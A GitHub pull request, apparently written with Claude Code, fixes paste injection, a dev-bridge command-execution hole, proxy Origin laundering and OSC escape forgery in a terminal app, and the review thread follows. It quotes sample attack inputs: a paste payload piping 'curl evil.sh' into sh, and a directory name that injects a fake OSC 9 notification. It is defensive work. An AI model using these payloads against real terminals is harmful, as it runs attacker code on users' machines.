Skip to content

Close the four security-audit findings: paste injection, dev-bridge RCE, proxy origin laundering, OSC forgery - #453

Merged
nedtwigg merged 12 commits into
mainfrom
audit-findings-b1-b2-w1-w8
Aug 27, 2026
Merged

Close the four security-audit findings: paste injection, dev-bridge RCE, proxy origin laundering, OSC forgery#453
nedtwigg merged 12 commits into
mainfrom
audit-findings-b1-b2-w1-w8

Conversation

@nedtwigg

Copy link
Copy Markdown
Member

Closes four findings from the security audit run that failed after #452 — the run whose application-security domain returned VERDICT: FAIL. All four were found by the catch-all domain, which only reached lib/ and standalone/ once #452 defined the catch-all by subtraction rather than by a list. The audit machinery worked; these are the bugs it found.

Every fix is verified live, not just in unit tests: a real hostile directory, a booted dev:standalone:ab harness, and a live upstream behind the iframe proxy.

B1 — bracketed paste could execute clipboard content (81eaaf98)

clipboard.ts wrapped clipboard text in \x1b[200~\x1b[201~ verbatim, so content holding its own \x1b[201~ closed the bracket early and everything after it reached the shell as typed input — newlines included, which submit. Copying git status\x1b[201~\ncurl evil.sh|sh\n from a hostile page and pasting ran the second command with no further user action.

Bracketing is the whole defense here (mouse-and-clipboard.md §8.6 puts multi-line paste confirmation out of scope), and we had reimplemented it while dropping the sanitization the library we embed already does. Now matches xterm's bracketTextForPaste exactly: every ESC becomes a visible U+241B.

B2 — the browser-dev bridge was an unauthenticated loopback RCE (1c097f51)

pnpm dev:standalone:ab served 127.0.0.1:1422 with no token, no Origin/Host check, and access-control-allow-origin: *. POST /__dormouse_dev_host/send reaches pty_spawn, which honours caller-supplied shell, args, cwd and env. readJson ignored the content-type, making it CORS-simple — any page open in a developer's browser could POST no-cors with no preflight to survive.

Four gates in a new dev-host-guard.mjs: per-run token, loopback Host check, required JSON content-type, exact-origin ACAO. Costs the agent nothing — the token rides the env var the harness already sets, and agent-browser drives the Vite origin, never the bridge.

W8 — the iframe proxy vouched for strangers (fcca5691)

Same mistake as B2 in shipped code, and worse: the proxy unconditionally rewrote Origin to the upstream's own, so any page could POST to a grant and be relabelled as same-origin — defeating exactly the check the rewrite exists to satisfy. On the upgrade path it hands out a readable WebSocket, since WebSockets aren't subject to CORS.

Fixed by honesty rather than a lock: a foreign Origin is forwarded untouched, so the upstream applies its own policy and the proxy grants nothing that hitting the upstream directly wouldn't. Plus a Host check on both paths.

W1 — shell integration forged notifications (a85c2eb5)

Our own prompt hooks wrote $PWD into OSC 633;P;Cwd= raw. A directory named $'/tmp/evil\a\e]9;PWNED\a' makes every prompt emit a sequence whose BEL ends the OSC early, and the remainder parses as a fresh, fully-trusted OSC 9 — which latches a ring, persists, is spoken aloud, and is pushed to the paired phone. Nothing shows on screen, and it re-fires for anyone entering that directory.

The parser cannot defend against this: its terminator scan runs on raw bytes, so the sequence is already over. Fixed on the emit side in all three shells, and tested by running real bash and zsh rather than reasoning about them.

Then: cleanup and a lint

ff5eccfb is a /simplify pass. The one that mattered: the W1 fix introduced a subshell fork on every prompt render (0.377 ms vs 0.015 ms for an out-param) — a regression, since that line was previously a bare "$PWD". Also restated a FAIL IF that contradicted the design it protects and would have flagged the iframe proxy on every audit run.

9f632406 adds scripts/loopback-lint.mjs to pnpm test: a new loopback listener must reference a guard module or be allowlisted with a reason. Two of three listeners got this wrong at some point and both were caught by an audit rather than a build. It deliberately does not claim to be the whole rule — it can see that a file knows a guard exists, not that it's called per request — and the docstring says so.

Notes for review

  • SECURITY.md gains a ## Loopback Listeners section, claimed by application-security.md in the same commit. An unclaimed section is owned by nobody — the .vscode/ orphaning that Close the audit's findings on itself, and run application-security on Opus #452 fixed for directories.
  • pwsh is unverified. It got the W1 treatment via \p{Cc}, written with char codes so it works on Windows PowerShell 5.1, but pwsh isn't installed on my machine and the shell test covers bash and zsh only.
  • Not fixed, deliberately: routing paste through xterm's terminal.paste() would delete our reimplemented bracket entirely, but it needs a DOM-attached xterm that file-drop can't guarantee, and its unconditional \r?\n → \r would corrupt file paths that shellEscapePosix quotes precisely to preserve. Separately, inputContainsEnter (data.includes('\r')) knows nothing about bracketed paste, so a native multi-line paste clears a pane's TODO though nothing was submitted — a live bug on xterm's own paste path, left for its own change.

🤖 Generated with Claude Code

https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5

nedtwigg and others added 6 commits August 27, 2026 00:31
Clipboard text went into `\x1b[200~`…`\x1b[201~` verbatim, so content holding
its own `\x1b[201~` closed the bracket early and everything after it reached
the shell as ordinary typed input — newlines included, which submit. Copying
`git status\x1b[201~\ncurl evil.sh|sh\n` from a hostile page and pasting it ran
the second command with no further user action.

Bracketing is the whole defense here: mouse-and-clipboard.md §8.6 puts
multi-line paste confirmation out of scope, so nothing else stands between
clipboard content and the shell. And this is not the usual known terminal
hazard — we reimplemented bracketing and dropped the sanitization the library
we embed already does. xterm's `bracketTextForPaste` replaces every ESC in the
payload with a visible U+241B; `writePasteToPty` calls `writePty` directly
(the comment right below it says so), so that never ran.

Match the library exactly rather than stripping the one known terminator:
neutralizing the whole class is not something a new sequence can walk around,
and a visible U+241B shows the user something was defanged instead of making
bytes disappear. Filtering at `writePasteToPty` also covers file-path pastes,
which share the writer and can carry ESC in a path just as easily.

The unbracketed branch stays byte-for-byte, again matching xterm: without
brackets the inside program has not asked to tell pasted bytes from typed
ones, so there is no boundary left to protect and filtering would only break a
deliberate paste of an escape sequence.

Found by the security audit's catch-all domain (B1), which only reached
`lib/` once the catch-all was defined by subtraction.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
`pnpm dev:standalone:ab` served an HTTP bridge on 127.0.0.1:1422 with no token,
no Origin check, no Host check, and `access-control-allow-origin: *`. `POST
/__dormouse_dev_host/send` dispatches into `fireAndForget`, whose `pty_spawn`
reaches `resolveSpawnConfig` — which honours caller-supplied `shell`, `args`,
`cwd` and `env`. And `readJson` ignored the content-type, making the endpoint
CORS-*simple*: any page open in the developer's browser could POST to it
`no-cors`, with no preflight to survive and no need to read the reply. That is
arbitrary command execution as the developer, and `*` additionally made
`read_clipboard_text` readable cross-origin.

Loopback is not the boundary here. The attacker is a tab in the developer's own
browser, and it reaches 127.0.0.1 as easily as the dev page does. No shipped
artifact is affected — the adapter is gated behind
`VITE_DORMOUSE_BROWSER_DEV_HOST` — but the blast radius is maintainer and
CI-agent machines, which is where SECURITY.md's Automated Maintainer threat
model puts the value.

Four gates, in `dev-host-guard.mjs`:

- Every request carries `?t=<token>`, a per-run credential compared with
  `timingSafeEqual` over SHA-256 digests, so a wrong-length guess is refused
  rather than throwing. It rides the query rather than an `Authorization`
  header because `EventSource` cannot set headers and `/events` must be gated
  too. A separate token from `controlToken`: that one goes to every shell the
  harness spawns, and the bridge's circle is smaller.
- `Host` must name loopback, against DNS rebinding — a hostile domain
  re-resolved to 127.0.0.1 arrives with its own name and the browser calls it
  same-origin, so CORS never applies.
- POST bodies must be `application/json`, which forces a preflight that a
  foreign origin cannot pass. This is the lock that closes the no-cors trick.
- ACAO names the Vite origin exactly, never `*`, on the SSE response too.

The gate runs before routing and before any body read, and refuses with the
same 404 as an unknown path so the port does not identify itself.

Costs the agent nothing: the token reaches the page through the env var the
harness already sets, `BrowserSidecarHost.url()` is the single place that
attaches it, and `agent-browser` drives the Vite origin, never the bridge. The
harness prints the token and a ready-made curl for driving it by hand.

The guard is its own module because `dev-agent-browser.mjs` spawns Vite, the
sidecar and agent-browser at import time, so nothing in it is reachable from a
test. Verified live as well as in unit tests: a booted harness spawned panes and
mirrored console through the gate over 12 page-side calls, while an
unauthenticated `pty_spawn`, a wrong token, a foreign Host, a non-JSON body, and
an unauthenticated `read_clipboard_text` all got 404 and never executed.

Found by the security audit's catch-all domain (B2).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
…e the rule

W8, and the other half of B2. Both findings are the same mistake in two places:
a loopback bind mistaken for an access control. `127.0.0.1` keeps out the
network, but the attacker is a page in the user's own browser, which reaches
loopback exactly as easily as our webview does, and an ephemeral port is not a
secret — the range scans in seconds.

There are exactly three such listeners, and one already got it right. The VS
Code stream relay demands a single-use 64-hex token, TTL-bounded and pinned to
one target port, and drops `Origin` rather than rewriting it. The dev bridge now
has its own gates. The iframe proxy had neither — and worse, it *vouched*:

  if (headers.origin) headers.origin = grant.upstream.origin;

unconditionally relabelling the caller as the upstream itself. That is not just
an unauthenticated endpoint, it is an amplifier. Any page could POST to a grant
and have its `Origin: https://evil.example` presented upstream as same-origin,
defeating precisely the origin check the rewrite exists to satisfy. It costs
most on the upgrade path: WebSockets are not subject to CORS, so a laundered
`Origin` yields a *readable* socket to a dev server or openvscode-server that
would have refused the real one.

So the fix is honesty rather than a lock, which is also why it changes no
framing behaviour:

- `Host` must name the grant's own port, on both paths — that is what makes DNS
  rebinding fail, and it is load-bearing here because no credential is possible.
- `Origin` is rewritten only for a caller we served. A foreign `Origin` is
  forwarded untouched rather than blocked, so the upstream sees the truth and
  applies its own policy — leaving the proxy granting nothing that hitting the
  upstream's port directly would not. Absent stays absent (ordinary navigation).
- `Referer` needed no change: it only substitutes our own proxy origin, so a
  foreign referer already passed through.

A URL token is genuinely unworkable for the proxy (it lands in
`location.pathname` and breaks client routers, and never survives onto
root-relative sub-resource requests), so the three listeners cannot share a
credential. What they share is the question, and that is what
`lib/src/host/loopback-guard.ts` holds: `isLoopbackHost`, `isOwnOrigin`, and the
rule written down once. The relay deliberately does not call `isLoopbackHost` —
rebinding buys nothing against an unguessable one-shot token, so a check there
would defend nothing, and saying so beats uniform dead code. The dev harness
keeps its own copy: dev-only, unbundled, another package, and a build dependency
on TS to share a few lines costs more than the duplication.

Named the class in SECURITY.md so the audit enforces it rather than luck, with
the listener set derived by search rather than trusted from the list — the same
lesson as the catch-all. Claimed the new section in application-security.md in
the same edit, since an unclaimed section is owned by nobody, which is exactly
how `.vscode/` got orphaned.

Found by the security audit's catch-all domain (W8).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
…itted

W1. A POSIX path component may hold any byte but `/` and NUL, and our own
prompt hooks wrote `$PWD` into `OSC 633;P;Cwd=` raw. A hostile program creates
$'/tmp/evil\a\e]9;PWNED\a', the user cds in, and every prompt thereafter emits a
sequence whose BEL ends the `Cwd=` OSC early and hands the remainder to the
parser as a fresh, fully trusted OSC. Verified against the real parser before
the fix:

  input:  \x1b]633;P;Cwd=/tmp/evil\x07\x1b]9;PWNED\x07rest
  events: [{cwd:{path:"/tmp/evil"}},
           {notification:{source:"OSC 9",body:"PWNED"}}]

It forges any semantic or alert event in the shell's own voice. OSC 9 is the
worst of them: an alert latches a ring, persists, is spoken aloud, and is pushed
to the paired phone as an OS notification. The injected bytes are consumed by
the parser, so nothing shows on screen, and a poisoned directory re-fires for
anyone who enters it — outliving the process that planted it.

The parser cannot defend against this. Its terminator scan runs on raw bytes, so
by the time it sees them the sequence is already over. That makes the shell
scripts we ship the security boundary, which is why they are now tested by
running the real shells rather than by reasoning about them.

Two fields, two different treatments, because the parser treats them
differently:

- `E` (command line) is decoded (`\xNN`), so BEL, ESC and the C1 ST are now
  *escaped* alongside the existing `\`, `;`, LF and CR. Nothing is lost — the
  parser decodes them back, so the command line still reports verbatim. The same
  break-out existed here: a command line holding a literal BEL escaped
  identically.
- `Cwd=` is read verbatim, with no decoding, precisely so a Windows path's
  backslashes arrive intact — so escaping is not available and the terminators
  are *removed* instead. Backslashes and semicolons are deliberately preserved.

All three terminators are covered, not just BEL: ESC begins ST, and the C1 ST
U+009C is reachable from a filename holding the bytes C2 9C. Under LC_ALL=C that
is two ordinary bytes which `[[:cntrl:]]` does not match — verified on bash 3.2
and zsh, not assumed — so the scripts strip it explicitly before the class.

Verified end to end: a real interactive bash and zsh, run inside a directory
actually named with the injection, now emit `evil]9;PWNED` as inert text, and
feeding those exact bytes to the real parser yields one cwd event and a
promptStart with no notification. (The cwd shows as `evil]9` — `Cwd=` splits on
`;`, which truncates but cannot inject. Pre-existing, cosmetic, left alone.)

pwsh got the same treatment via `\p{Cc}`, written with char codes rather than
`` `e `` so it still works on Windows PowerShell 5.1. It is unverified locally:
pwsh is not installed on this machine, and the test runs bash and zsh only.

Found by the security audit's catch-all domain (W1).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
Quality pass over the B1/B2/W1/W8 commits. No behavior change except where
noted; every gate still verified live against a booted harness and a real
hostile directory.

**A fork per prompt render, which I introduced.** `$(__dormouse_633_safe_cwd
"$PWD")` forked a subshell on every prompt in the user's interactive shell —
0.377 ms/call measured against 0.015 ms for an out-param, a 25x overhead on
work that is pure parameter expansion and needs no process. Before the W1 fix
that line was a bare `"$PWD"` with no fork at all, so this was a regression, not
inherited. The helpers now assign `__dormouse_633_out`. The same applies to
`__dormouse_633_escape`, which had the `$(...)` shape already — fixed too, since
the change is symmetric and the file should not teach the expensive idiom. Also
`$'\302\234'` instead of `$(printf …)`, dropping another fork from every shell
start, which is on the pane-open path.

**An invariant that contradicted the design it protects.** "FAIL IF any loopback
listener admits an unauthenticated caller" would have flagged the iframe proxy
on every audit run, because the proxy admits everyone by design and the next
bullet mandates it. A rule that cries wolf every run gets tuned out — the exact
failure mode the section was added to prevent. Restated in terms of privilege
rather than admission, with *admits all, vouches for none* named as a compliant
answer.

**A header that still taught the mistake.** `iframe-proxy.ts` opened by
asserting "the dedicated server + loopback bind is the boundary instead" — the
premise that produced W8 — 120 lines above the fix. Rewritten.

**The fourth gate was not in the gate.** `isJsonRequest` ran inside `readJson`,
so a future route that never parses a body would have silently lost the one
control stopping a preflight-free cross-origin `pty_spawn`. Folded into
`isAuthorized` for non-GET, which also makes a wrong content-type answer 404
like every other refusal instead of 500.

**A test that guarded a replica.** `dev-host-guard.test.mjs` stood up its own
server reproducing the handler's gate-then-dispatch order; moving the real
`isAuthorized` call below `readJson` would not have failed it. Replaced with
assertions against the gate itself.

Simplifications: `isOwnOrigin` compares strings, since an `Origin` header is a
serialized origin and parsing it only adds ways to be lenient; `url()` copies
the base instead of resolving against it, deleting a field, a sentinel and a
test; `corsHeaders` is built once rather than per request; the duplicate SSE
`access-control-allow-origin` is gone (`writeHead` merges what `setHeader`
recorded — verified); one `request()` helper in the proxy tests instead of a
copied collector, plus a `beforeEach` for the repeated setup; one fixture
carrying all three terminators instead of one shell spawn each; zsh quotes its
pattern like bash does; `req.headers.origin` on both proxy paths instead of a
`String()` cast that would flatten a header array.

Prose: the threat narrative had four owners. It now lives once in
terminal-escapes.md, and the enumeration of listeners once in SECURITY.md —
which is the file that tells its reader to derive that set by search rather than
trust a list, so a second copy in `loopback-guard.ts` was pure drift surface.

Skipped, with reasons: routing paste through xterm's `terminal.paste()` would
delete our reimplemented bracket entirely, but it changes behavior (newline
normalization, `markSessionTouched` via `onData`, and
`terminal-command-input.ts`'s expectations) — worth doing deliberately, not in a
cleanup. Sharing `proofMatches` with `dor-control-server.js` was proposed on the
premise that it is the same package; it is not — `standalone/sidecar` is its own
workspace package, so that is the cross-package split already decided. Exporting
the OSC terminator set from `terminal-protocol.ts` so the shell test imports it
is right in principle but unreachable: the test is CommonJS in another package
with no build step.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
Turns the cheap half of SECURITY.md -> "Loopback Listeners" from something an
LLM audit notices into something CI does. Two of the three listeners we ship
got this wrong at some point, and both were found by the nightly audit rather
than by a build — thorough, but probabilistic, and only after the code merged.

The check: a tracked, non-test source file that binds a TCP listener to
loopback must reference a guard module (`lib/src/host/loopback-guard.ts`, or
`standalone/scripts/dev-host-guard.mjs` for the dev harness) or sit on an
allowlist with a stated reason. One entry today — the VS Code stream relay,
which skips the Host check deliberately because rebinding buys nothing against
its single-use token.

Two more checks keep the lint from rotting into a no-op, both borrowed from
xterm-lint's check 5:

- A stale ALLOWED entry — one whose file no longer binds, or no longer exists —
  is a failure. Otherwise it silently exempts nothing, or worse, the next file
  to take that path.
- Matching zero listeners is a failure, not a pass. That means the bind shape
  moved and the lint has stopped looking rather than found nothing.

Scans `git ls-files` rather than walking the tree, which matters more than it
sounds: `standalone/sidecar/iframe-proxy.cjs` is a gitignored esbuild bundle of
the very file being checked, so it inherits the guard reference and passed for a
reason that says nothing about any source — while making the listener count
depend on whether anyone had run a build. The lint also excludes itself, since
its own documentation contains the pattern it searches for.

Deliberately narrow, and the docstring says so rather than implying coverage it
does not have: it cannot tell whether the guard is actually *called* per
request, only that the file knows one exists — the audit still owns that. It
matches only an explicit loopback host argument, so a bind to every interface is
out of scope (server/ does that from config on purpose, so flagging it would be
noise). Unix sockets and named pipes are out of scope by design, no browser can
reach one. Test fixtures are skipped.

Verified by breaking it three ways: a new unguarded listener, a stale allowlist
entry, and a moved bind shape each fail with the message that names the fix.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
@cloudflare-workers-and-pages

cloudflare-workers-and-pages Bot commented Aug 27, 2026

Copy link
Copy Markdown

Deploying mouseterm with  Cloudflare Pages  Cloudflare Pages

Latest commit: ae3f015
Status: ✅  Deploy successful!
Preview URL: https://aa151135.mouseterm.pages.dev
Branch Preview URL: https://audit-findings-b1-b2-w1-w8.mouseterm.pages.dev

View logs

nedtwigg and others added 2 commits August 27, 2026 00:37
…s skipped

The suite hardcoded `/bin/zsh`. Ubuntu puts zsh in `/usr/bin`, so on CI the
`existsSync` filter dropped all six zsh cases and the run went green having
covered half of what the file claims to — 123 tests there against 129 locally,
with nothing in the output saying why.

That is the failure mode worth fixing, more than the missing coverage itself: a
silent skip reads exactly like a pass. So resolve each shell off PATH first
(then the usual absolute spellings), and print the shells actually covered plus
any that were not, every run. bash becomes a hard floor — it is present on every
platform we test on, and a run covering neither shell is not a pass.

zsh matters here specifically: it is the default shell on macOS, which is
Dormouse's primary platform, and these tests are what stand behind an emit-side
security fix.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
The previous commit made the skip loud and the log answered the question: zsh
is not on the ubuntu runner image at all, so resolving it off PATH changed
nothing. It is the default shell on macOS — our primary platform — and these
tests are what stand behind an emit-side security fix, where the shell scripts
*are* the boundary because the parser cannot defend against a terminator that
arrives inside a directory name. Covering only bash was covering half of it.

One apt line. The suite now prints the shells it covered every run, so if a
future image change drops one, that reads as a change in the log rather than as
a green run.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5

@dormouse-bot dormouse-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The four fixes hold up. I traced each boundary rather than taking the write-up's word for it:

  • W1Cwd= is percent-decoded downstream (cwdFromDecodedPathsafeDecodeURIComponent), so I checked whether a %07-encoded directory name could re-introduce a terminator after parsing. It can't do anything: every consumer of cwd.path is display, grouping, or a snapshot field (Wall.tsx, remote/host/directory.ts) — nothing writes it back to a PTY. The emit-side filter is complete for the boundary it claims. node --test standalone/sidecar/shell-integration.test.js passes here (bash; zsh now installed by 54b9293).
  • W8 — the Host 421 doesn't cost the legitimate paths: the grant URL is always http://127.0.0.1:<port>, redirects are rewritten to proxyOrigin in sanitizeResponseHeaders, and sub-resources inherit the frame's origin. The vouch flag on handleUpgrade is applied per-header correctly.
  • B2 — every call site sets content-type: application/json (BrowserSidecarHost.send/invoke, the console mirror in browser-sidecar-adapter), so the gate's non-GET rule doesn't break anything; writeHead(200, {...}) does merge with the setHeader-recorded CORS headers, so dropping the explicit access-control-allow-origin from the SSE branch is safe. The agent-browser-host.ts ALLOWED entry matches the code it describes (single-use 64-hex token, 60s TTL, port-pinned, origin dropped).
  • scripts/loopback-lint.mjs, spec-lint, and xterm-lint all pass from a clean checkout.

Four notes below, none of them blocking.

On pwsh being unverified: \p{Cc} does cover C0, DEL and the C1 range, and [string][char]0x9c is the right 5.1-safe spelling — the logic reads correct, it's just untested. Worth saying that the escape/safe_cwd split there is also the only one of the three where escape still returns a value instead of using the out-param, which is fine (no fork to avoid) but means the three emitters no longer share a shape.

Comment thread scripts/loopback-lint.mjs Outdated
Comment thread .github/workflows/ci.yml Outdated
Comment thread standalone/scripts/dev-agent-browser.mjs
Comment thread .claude/skills/debug-standalone-agent-browser/SKILL.md Outdated
**The lint had the hole it exists to prevent.** `LISTEN_RE` was tested per
line, so a `.listen(` wrapped across lines — routine formatting — escaped the
scan entirely, and check 3 stayed quiet because the other three listeners still
matched. A guard-check that silently misses the shape it guards is worse than
none. Now scanned whole-file (the `\s*` already spans newlines), with the line
number derived from the match offset.

Same note flagged `.listen({ host: '127.0.0.1', port })`, Node's other spelling,
also unmatched. Handled rather than documented as a gap: the "what it
deliberately does NOT do" list is precise enough that a reader will treat it as
exhaustive, so anything cheap to cover belongs covered, and what stays uncovered
belongs on the list. A host built at runtime is now named there as the ceiling
of a textual check. Both new shapes verified to fail the lint with correct line
numbers.

**The zsh install could redden Build & Test for an unrelated reason.** No
`apt-get update` — and runner apt lists are baked at image build, so once the
archive rotates zsh's version the cached Packages entry 404s. Added update,
timeouts and three attempts. Not the full mirror-rotation treatment the
Smoketest job uses; that is a lot of machinery for one package, and the retry
covers the common case.

**The exact-origin ACAO pinned the `localhost` spelling.** A developer opening
`http://127.0.0.1:1420` instead of `http://localhost:1420` got every bridge call
rejected by CORS, where `*` previously accepted both — with a blank terminal and
console errors that do not point at the cause. `corsHeaders` now echoes whichever
of the two loopback spellings the request names. That is exactly as tight:
echoing one of two known-good values for the same dev page, with anything else
still receiving the canonical origin and failing the browser's check. Verified
live against a booted harness — both spellings echoed, `evil.example` and a
wrong port both get the canonical value, and the token/Host/JSON gates all still
answer 404.

**The skill doc said the token is in the page's URL.** It is in the bridge URL
the page is built against, so an agent following that sentence would go hunting
for a `?t=` in the address bar. Corrected, and transport.md now records that the
two loopback spellings are both accepted.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
@nedtwigg

Copy link
Copy Markdown
Member Author

All four fixed in 6c9aec7. Thanks — the first one was a real hole in the thing I'd just added to prevent holes.

Multi-line .listen( — you're right, and it's the worst kind of bug for this file: the lint reports green while missing the shape it exists to catch, and check 3 stays quiet because the other three listeners still match. Scanning whole-file now, line number from the match offset.

I also handled the { host: ... } options form rather than leaving it. Your reasoning is why: the "deliberately does NOT do" list is precise enough that a reader will treat it as exhaustive, so anything cheap to cover belongs covered, and whatever stays uncovered belongs on the list. A host built at runtime (.listen(port, hostVar)) is now named there as the ceiling of a textual check. Both new shapes verified to fail with correct line numbers.

apt — took the update plus timeouts and three attempts, not the full mirror rotation; that's a lot of machinery for one package, as you say. The failure message names the consequence (silently covering only bash) so a future red points at what it costs.

The localhost pin — good catch, and the symptom you describe is exactly the problem: a blank terminal plus console CORS errors points nowhere near the cause. Went with echoing rather than documenting, since it's as tight either way — one of two known-good values for the same dev page, anything else still gets the canonical origin and fails the browser's check. Verified against a booted harness: both spellings echoed, evil.example and a wrong port both get the canonical value, and the token/Host/JSON gates still answer 404 with pty_spawn never dispatching. transport.md now records it too.

Skill doc — took your wording, plus an explicit "not into the page's own address, so there is no ?t= in the address bar to look for," since that's the specific wrong turn.

On the pwsh shape note: agreed, and I left it deliberately. escape there returns a value because there's no fork to avoid — PowerShell function calls are in-process — so the out-param would be cost with no benefit. But you're right that the three emitters no longer share a shape, which is a real readability cost for the next person diffing them. It's recorded in the commit rather than papered over.

pwsh remains untested; it's the one part of this I can't verify locally.

@dormouse-bot

Copy link
Copy Markdown
Collaborator

All four confirmed against 6c9aec7. pnpm lint:loopback and node --test standalone/scripts/dev-host-guard.test.mjs both pass here.

I re-derived the new LISTEN_RE and ran it against shapes beyond the two you named, since a whole-file scan can widen as easily as it can fix: multi-line positional, options-object in either key order, and multi-line options-object all match with the right line number; UDS (.listen('/tmp/x.sock')), bare .listen(port), .listen(port, hostVar), and .listen(port, '0.0.0.0') all correctly don't. The false-positive case I was most worried about — .listen(port) on one line and an unrelated foo(bar, '127.0.0.1') further down — stays clean, because [^,)]+ can't cross the closing paren. The s flag is inert (no unescaped . in the pattern); the newline crossing comes from the negated classes, which is what the comment says.

One thing the fix doesn't close, non-blocking: both new branches are matched by nothing in the repo and nothing in a test. All three listeners are single-line positional — iframe-proxy.ts:151, agent-browser-host.ts:67, dev-agent-browser.mjs:215 — so if a later edit drops the multi-line or options-object branch, check 2 still finds its allowlisted match and check 3 still counts three listeners. That is the same green-while-blind shape you just fixed, one level up: the branches added because nothing in-repo exercises them are exactly the ones the lint's own staleness checks can't watch. dev-host-guard.test.mjs is the precedent for pinning it; the blocker is only that LISTEN_RE isn't exported and the script body runs at import.

Not raising the escape shape divergence again — your reasoning holds and the commit records it. pwsh stays the one unverified surface.

Regex cases and results

Run against the LISTEN_RE as built in loopback-lint.mjs, with the same text.slice(0, match.index).split('\n').length line derivation.

MATCH  line=1    positional 1-line
MATCH  line=2    positional multi-line
MATCH  line=3    options obj
MATCH  line=1    options obj reversed
MATCH  line=2    options multi-line
no     line=-    UDS (must NOT match)
no     line=-    all-ifaces (must NOT)
no     line=-    runtime host (NOT)
no     line=-    far-apart false pos
no     line=-    public bind (NOT)

IS_TEST already excludes *.test.mjs from the scan, so fixture strings in a test file wouldn't feed back into the lint.

@dormouse-bot dormouse-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All four re-verified against the code rather than the write-up.

  • loopback-lint — I ran the five shapes through the new LISTEN_RE: positional single-line and wrapped, options-object in both key orders and wrapped. All match; UDS (.listen('/tmp/foo.sock')), bare .listen(port) and .listen(port, hostVar) all still don't. The line number is now the line of .listen( rather than the line of the host argument, which is the better anchor for a wrapped call. node scripts/loopback-lint.mjs reports OK (3 loopback listeners, 1 allowlisted), which matches the three real binds on disk (iframe-proxy.ts, dev-agent-browser.mjs, and the allowlisted agent-browser-host.ts) — so the broadened regex didn't pull in anything new that a stray dev-host-guard mention would have silently absorbed. The runtime-host ceiling being named on the "does NOT do" list is the right call.
  • CORS echovary: origin is already there, access-control-allow-credentials is absent, and the membership test is exact string equality against two literals, so the echo widens nothing. A multi-valued Origin header arrives joined with ", " and falls through to the canonical value. node --test standalone/scripts/dev-host-guard.test.mjs passes (6/6).
  • Skill doc / transport.md — both now match startVite, which sets VITE_DORMOUSE_BROWSER_DEV_HOST to http://127.0.0.1:${hostPort}/?t=${bridgeToken}.

Two small things, neither blocking.

One inline below on the apt step's own budget.

The other is a stale reference: inside the SSE branch of startHostServer, the comment reading No access-control-allow-origin here: cors(res) already set it still names the old one-argument signature — it's cors(req, res) now. Grep already set it in standalone/scripts/dev-agent-browser.mjs.

Comment thread .github/workflows/ci.yml Outdated
The step capped at 6 minutes but the schedule inside it can run 750s
(3 x (120 update + 120 install) + 2 x 15 sleep). Even the cheaper failure —
`update` dribbling on every attempt — is 390s. So in exactly the failure mode
the retry exists for, Actions killed the step mid-attempt and the `::error::`
line naming the consequence ("would silently cover only bash") never printed:
the run showed a bare timeout instead. 13 minutes covers the worst case.

Also fixes a comment left stale by the CORS echo: the SSE branch still said
`cors(res)` after the signature became `cors(req, res)`.

Note the `Standalone Smoketest` step below has the same shape — 10 minutes
against a 930s worst case — but that is pre-existing and outside this change;
left alone deliberately rather than folded in.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
@nedtwigg

Copy link
Copy Markdown
Member Author

Both fixed in a1bd66a.

Timeout budget — you're right, and I checked the arithmetic rather than taking it: 3 × (120 update + 120 install) + 2 × 15 sleep = 750s against a 360s cap, and even the update-only-dribbling case is 390s. So the step died mid-attempt in precisely the scenario the retry exists for, and the ::error:: naming the consequence never printed — a bare timeout instead. Now 13 minutes, with the arithmetic written next to it so the next person changing the schedule sees what the budget has to cover.

Stale cors(res) — fixed; the signature became cors(req, res) with the origin echo and I missed the comment.

On the Standalone Smoketest block having the same shape (10 min vs 930s): agreed it's the same bug, and I left it alone deliberately — it's pre-existing and outside this diff, so it belongs in its own change rather than riding along here. Noted in the commit message. Happy to do it as a follow-up if you'd rather not leave it sitting.

Thanks for the verification pass on the lint regex — checking all five shapes including both key orders of the options object, and confirming UDS / bare-port / runtime-host still don't match, is exactly the part I'd have wanted a second pair of eyes on. The "did the broadened regex pull in anything a stray dev-host-guard mention would silently absorb" check is a good one; I hadn't framed the risk that way.

@dormouse-bot

Copy link
Copy Markdown
Collaborator

Done as a follow-up — #454, off main so it doesn't ride along here. Same treatment a1bd66a gave the zsh step: 930s worst case (3 x (120 update + 180 install) + 2 x 15 sleep) under a 600s cap, raised to 16 minutes with the arithmetic beside it. Those two are now the only capped steps in ci.yml, and both budgets clear their schedules.

I checked whether the shape recurs anywhere else while I was in there: release.yml's Linux apt step has no retry loop and no cap at all, so there's no budget-vs-schedule mismatch to fix there — it just fails on the first bad mirror. Left it alone rather than widening #454.

Nothing outstanding from my side on this PR; the approval stands against a1bd66a.

@dormouse-bot dormouse-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

